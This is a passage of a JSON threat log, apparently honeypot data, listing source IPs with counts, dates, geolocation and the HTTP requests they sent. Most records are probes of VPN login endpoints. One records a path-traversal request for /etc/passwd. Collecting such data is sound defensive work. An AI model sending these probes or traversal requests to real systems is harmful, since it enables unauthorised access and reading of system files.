    "45.134.142.223": {
      "attack_count": 15,
      "first_seen": "2026-04-10T01:52:58.835Z",
      "last_seen": "2026-04-29T21:55:37.149Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "88.151.112.21": {
      "attack_count": 15,
      "first_seen": "2026-04-13T14:26:51.948Z",
      "last_seen": "2026-04-14T01:36:32.697Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "130.12.180.32": {
      "attack_count": 14,
      "first_seen": "2026-04-23T11:28:51.818Z",
      "last_seen": "2026-04-23T14:06:53.606Z",
      "ports": [],
      "event_types": [
        "\"GET /api/sonicos/is-sslvpn-enabled HTTP/1.1\" 404 -",
        "\"GET /dana-na/auth/url_default/welcome.cgi HTTP/1.1\" 404 -",
        "\"GET /global-protect/login.esp HTTP/1.1\" 404 -",
        "\"GET /logon/LogonPoint/tmindex.html HTTP/1.1\" 404 -",
        "\"GET /my.policy HTTP/1.1\" 404 -",
        "\"GET /vpn/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD"
    },
    "172.120.185.124": {
      "attack_count": 14,
      "first_seen": "2026-04-12T02:36:09.926Z",
      "last_seen": "2026-04-14T02:06:28.492Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "103.81.230.106": {
      "attack_count": 13,
      "first_seen": "2026-04-15T08:59:00.005Z",
      "last_seen": "2026-04-28T02:53:00.977Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.187.176": {
      "attack_count": 12,
      "first_seen": "2026-04-10T13:51:28.241Z",
      "last_seen": "2026-04-18T23:42:12.599Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "173.249.253.104": {
      "attack_count": 12,
      "first_seen": "2026-04-13T10:14:41.633Z",
      "last_seen": "2026-04-28T00:18:32.347Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.159.216.233": {
      "attack_count": 12,
      "first_seen": "2026-04-11T10:28:37.603Z",
      "last_seen": "2026-04-30T05:58:01.110Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17243,
      "as_org": "Byte Node LLC"
    },
    "23.234.108.227": {
      "attack_count": 12,
      "first_seen": "2026-04-11T06:30:56.239Z",
      "last_seen": "2026-04-25T05:37:54.659Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.109.175": {
      "attack_count": 12,
      "first_seen": "2026-04-08T19:19:19.039Z",
      "last_seen": "2026-04-22T03:05:31.534Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.109.61": {
      "attack_count": 12,
      "first_seen": "2026-04-18T03:04:40.881Z",
      "last_seen": "2026-04-29T09:07:20.903Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.72.104": {
      "attack_count": 12,
      "first_seen": "2026-04-11T06:13:49.689Z",
      "last_seen": "2026-04-18T20:18:44.624Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.73.170": {
      "attack_count": 12,
      "first_seen": "2026-04-11T05:50:04.203Z",
      "last_seen": "2026-04-26T14:35:24.338Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.76.48": {
      "attack_count": 12,
      "first_seen": "2026-04-10T04:14:28.939Z",
      "last_seen": "2026-04-19T08:20:53.105Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "64.62.197.32": {
      "attack_count": 12,
      "first_seen": "2026-04-03T05:12:03.351Z",
      "last_seen": "2026-04-03T05:18:42.428Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "68.235.46.163": {
      "attack_count": 12,
      "first_seen": "2026-04-19T04:13:45.944Z",
      "last_seen": "2026-04-30T00:47:12.115Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "155.2.191.45": {
      "attack_count": 9,
      "first_seen": "2026-04-08T21:55:52.300Z",
      "last_seen": "2026-04-18T14:34:50.399Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "166.1.252.203": {
      "attack_count": 9,
      "first_seen": "2026-04-02T15:06:02.347Z",
      "last_seen": "2026-04-02T15:06:17.644Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.105.170": {
      "attack_count": 9,
      "first_seen": "2026-04-13T13:56:45.031Z",
      "last_seen": "2026-04-29T01:38:35.681Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.108.106": {
      "attack_count": 9,
      "first_seen": "2026-04-08T16:13:11.488Z",
      "last_seen": "2026-04-29T16:42:15.606Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.108.157": {
      "attack_count": 9,
      "first_seen": "2026-04-22T10:03:24.833Z",
      "last_seen": "2026-04-27T23:56:09.011Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.114.48": {
      "attack_count": 9,
      "first_seen": "2026-04-15T08:43:39.241Z",
      "last_seen": "2026-04-21T16:10:37.714Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.119.233": {
      "attack_count": 9,
      "first_seen": "2026-04-21T06:26:18.984Z",
      "last_seen": "2026-04-29T23:46:51.886Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.77.30": {
      "attack_count": 9,
      "first_seen": "2026-04-23T04:49:23.836Z",
      "last_seen": "2026-04-23T14:41:03.813Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.94.100": {
      "attack_count": 9,
      "first_seen": "2026-04-13T17:43:10.094Z",
      "last_seen": "2026-04-30T01:40:21.620Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "130.49.15.116": {
      "attack_count": 7,
      "first_seen": "2026-04-13T16:33:22.191Z",
      "last_seen": "2026-04-13T16:33:36.888Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Forks",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "142.111.176.16": {
      "attack_count": 7,
      "first_seen": "2026-04-15T01:19:12.547Z",
      "last_seen": "2026-04-15T01:19:24.032Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "142.111.3.178": {
      "attack_count": 7,
      "first_seen": "2026-04-13T01:58:13.650Z",
      "last_seen": "2026-04-13T01:58:25.252Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "146.70.211.90": {
      "attack_count": 7,
      "first_seen": "2026-04-10T17:21:11.203Z",
      "last_seen": "2026-04-29T18:58:42.865Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "172.120.238.164": {
      "attack_count": 7,
      "first_seen": "2026-04-15T00:56:49.083Z",
      "last_seen": "2026-04-15T00:57:08.307Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "88.218.80.102": {
      "attack_count": 7,
      "first_seen": "2026-04-13T17:21:49.728Z",
      "last_seen": "2026-04-13T17:22:09.624Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.147.89.230": {
      "attack_count": 6,
      "first_seen": "2026-04-10T05:42:11.540Z",
      "last_seen": "2026-04-18T22:37:53.129Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 6233,
      "as_org": "xTom"
    },
    "146.70.172.147": {
      "attack_count": 6,
      "first_seen": "2026-04-21T09:48:35.247Z",
      "last_seen": "2026-04-30T05:24:18.310Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.94.188": {
      "attack_count": 6,
      "first_seen": "2026-04-08T11:33:23.690Z",
      "last_seen": "2026-04-08T11:50:05.524Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.96.231": {
      "attack_count": 6,
      "first_seen": "2026-04-10T15:18:43.380Z",
      "last_seen": "2026-04-24T02:34:51.477Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "3.132.26.232": {
      "attack_count": 6,
      "first_seen": "2026-04-02T16:32:18.004Z",
      "last_seen": "2026-04-24T19:01:29.922Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "44.202.70.216": {
      "attack_count": 5,
      "first_seen": "2026-04-04T00:57:07.376Z",
      "last_seen": "2026-04-13T00:51:20.746Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "3.131.220.121": {
      "attack_count": 4,
      "first_seen": "2026-04-18T16:12:30.367Z",
      "last_seen": "2026-04-19T16:36:45.502Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "146.70.168.73": {
      "attack_count": 3,
      "first_seen": "2026-04-16T04:14:56.952Z",
      "last_seen": "2026-04-16T04:15:06.819Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "185.213.193.175": {
      "attack_count": 3,
      "first_seen": "2026-04-13T15:37:00.926Z",
      "last_seen": "2026-04-13T15:37:10.226Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "23.234.75.236": {
      "attack_count": 3,
      "first_seen": "2026-04-08T09:09:18.611Z",
      "last_seen": "2026-04-08T09:09:26.918Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.94.31": {
      "attack_count": 3,
      "first_seen": "2026-04-18T03:38:12.515Z",
      "last_seen": "2026-04-18T03:38:21.338Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.98.104": {
      "attack_count": 3,
      "first_seen": "2026-04-16T04:38:01.130Z",
      "last_seen": "2026-04-16T04:38:10.825Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "44.220.188.203": {
      "attack_count": 3,
      "first_seen": "2026-04-25T00:40:33.894Z",
      "last_seen": "2026-04-25T00:40:40.523Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "104.152.52.68": {
      "attack_count": 2,
      "first_seen": "2026-04-09T00:49:25.261Z",
      "last_seen": "2026-04-09T00:49:25.928Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC"
    },
    "135.119.89.68": {
      "attack_count": 2,
      "first_seen": "2026-04-28T03:39:07.859Z",
      "last_seen": "2026-04-28T03:39:10.860Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "143.110.170.31": {
      "attack_count": 2,
      "first_seen": "2026-04-07T02:26:53.048Z",
      "last_seen": "2026-04-07T02:27:00.280Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "192.3.101.25": {
      "attack_count": 2,
      "first_seen": "2026-04-23T17:54:54.090Z",
      "last_seen": "2026-04-23T17:54:57.093Z",
      "ports": [],
      "event_types": [
        "\"GET /RDWeb/Pages/en-US/login.aspx HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa"
    },
    "198.235.24.44": {
      "attack_count": 2,
      "first_seen": "2026-04-01T02:05:07.490Z",
      "last_seen": "2026-04-01T02:05:10.494Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "20.46.251.132": {
      "attack_count": 2,
      "first_seen": "2026-04-09T00:47:59.418Z",
      "last_seen": "2026-04-09T00:48:02.422Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "20.65.195.19": {
      "attack_count": 2,
      "first_seen": "2026-04-24T13:59:55.154Z",
      "last_seen": "2026-04-24T13:59:58.157Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "204.76.203.215": {
      "attack_count": 2,
      "first_seen": "2026-04-07T14:01:33.937Z",
      "last_seen": "2026-04-10T09:11:44.680Z",
      "ports": [],
      "event_types": [
        "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)"
    },
    "3.91.176.195": {
      "attack_count": 2,
      "first_seen": "2026-04-03T00:52:53.157Z",
      "last_seen": "2026-04-08T00:53:59.964Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
